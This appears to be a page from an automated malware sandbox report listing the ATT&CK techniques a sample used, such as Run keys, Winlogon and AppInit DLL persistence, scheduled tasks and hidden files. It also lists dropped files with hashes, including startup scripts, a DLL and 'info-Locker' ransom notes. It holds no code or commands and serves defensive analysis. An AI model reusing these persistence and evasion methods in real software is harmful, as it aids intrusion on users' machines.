                Active Setup

                1
                T1547.014

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Winlogon Helper DLL

                1
                T1547.004

                Event Triggered Execution

                1
                T1546

                AppInit DLLs

                1
                T1546.010

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                3
                T1547

                Active Setup

                1
                T1547.014

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Winlogon Helper DLL

                1
                T1547.004

                Event Triggered Execution

                1
                T1546

                AppInit DLLs

                1
                T1546.010

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Hide Artifacts

                2
                T1564

                Hidden Files and Directories

                2
                T1564.001

                Modify Registry

                3
                T1112

                Credential Access

                Discovery

                Peripheral Device Discovery

                2
                T1120

                Query Registry

                4
                T1012

                System Information Discovery

                4
                T1082

                System Network Configuration Discovery

                1
                T1016

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                bfrsulni.u4b.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\bfrsulni.u4b.exe.log
                • Size 1KB
                • SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8563ccf3c78641e28b8f3cc9a84ee732cda5419f0884c31d8c62ba14954da684
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                microsoft.windows[1].xml
                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\MAMP4A6E\microsoft.windows[1].xml
                • Size 97B
                • SHA256 200b3a1bb57191713b309f8d2ccb739db5f0c2cc2866eb951290a820f8254df0
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                AppCache134380957505146122.txt.~tmp
                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134380957505146122.txt.~tmp
                • Size 89KB
                • SHA256 84e8279ed9c66db43b208bb426989c22233aed4cba5f825a20c02095d0c6192d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __PSScriptPolicyTest_5dzgnvj2.f1r.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5dzgnvj2.f1r.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                bfrsulni.u4b.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\bfrsulni.u4b.exe
                • Size 209KB
                • SHA256 875c7e108a6fc1e82bd0ee341ee207c654cef9b76e15bce8d3f2b78039c4635d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                startup_str_972.bat
                • Path C:\Users\Admin\AppData\Roaming\startup_str_972.bat
                • Size 521KB
                • SHA256 04ee08ff134824988147e5794da3adc9f7c981894f68305870948dfc49f4a321
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                startup_str_972.vbs
                • Path C:\Users\Admin\AppData\Roaming\startup_str_972.vbs
                • Size 115B
                • SHA256 fc130c8e081567fd47e8bb04423f4f8cbc9b11b60d57e79f9a8e12c34727a79d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                info-Locker.txt
                • Path C:\Users\Admin\Documents\info-Locker.txt
                • Size 55B
                • SHA256 fba69e42f65243dc355b56bdaa9f16686cc4a88184b8f1ab329b1637dbd0683b
                • MD5 SHA1 SHA512
                Submit Download

                info-Locker.txt
                • Path C:\Users\Admin\Downloads\info-Locker.txt
                • Size 55B
                • SHA256 c8749ef41dfcb21ef22d90234202a0440e743a8595d6cb4c45afead0b18b1006
                • MD5 SHA1 SHA512
                Submit Download

                xdwd.dll
                • Path C:\Windows\xdwd.dll
                • Size 136KB
                • SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/2492-501-0x000001C38F890000-0x000001C38F8B0000-memory.dmp
                Download

                memory/2492-473-0x000001C38F4C0000-0x000001C38F4E0000-memory.dmp
                Download

                memory/2492-485-0x000001C38F480000-0x000001C38F4A0000-memory.dmp
                Download

                memory/2492-468-0x000001C38E500000-0x000001C38E600000-memory.dmp
                Download

                memory/2492-469-0x000001C38E500000-0x000001C38E600000-memory.dmp
                Download

                memory/2908-12-0x000002415B740000-0x000002415B750000-memory.dmp
                Download

                memory/2908-13-0x000002415B740000-0x000002415B750000-memory.dmp
                Download

                memory/5184-10-0x000001F51F890000-0x000001F51F8F4000-memory.dmp
                Download

                memory/5184-9-0x000001F507480000-0x000001F507488000-memory.dmp
                Download

                memory/5184-8-0x000001F51F5B0000-0x000001F51F5D2000-memory.dmp
                Download

                memory/5184-0-0x000001F51F610000-0x000001F51F620000-memory.dmp
                Download

                memory/5632-313-0x0000000000530000-0x000000000056A000-memory.dmp
                Download

                memory/5668-466-0x0000000004940000-0x0000000004941000-memory.dmp
                Download

                memory/5848-270-0x000002A635830000-0x000002A63584E000-memory.dmp
                Download

                memory/5848-269-0x000002A6351E0000-0x000002A6351EC000-memory.dmp
                Download

                memory/5848-268-0x000002A635900000-0x000002A635976000-memory.dmp
                Download

                memory/5848-39-0x000002A635510000-0x000002A635582000-memory.dmp
                Download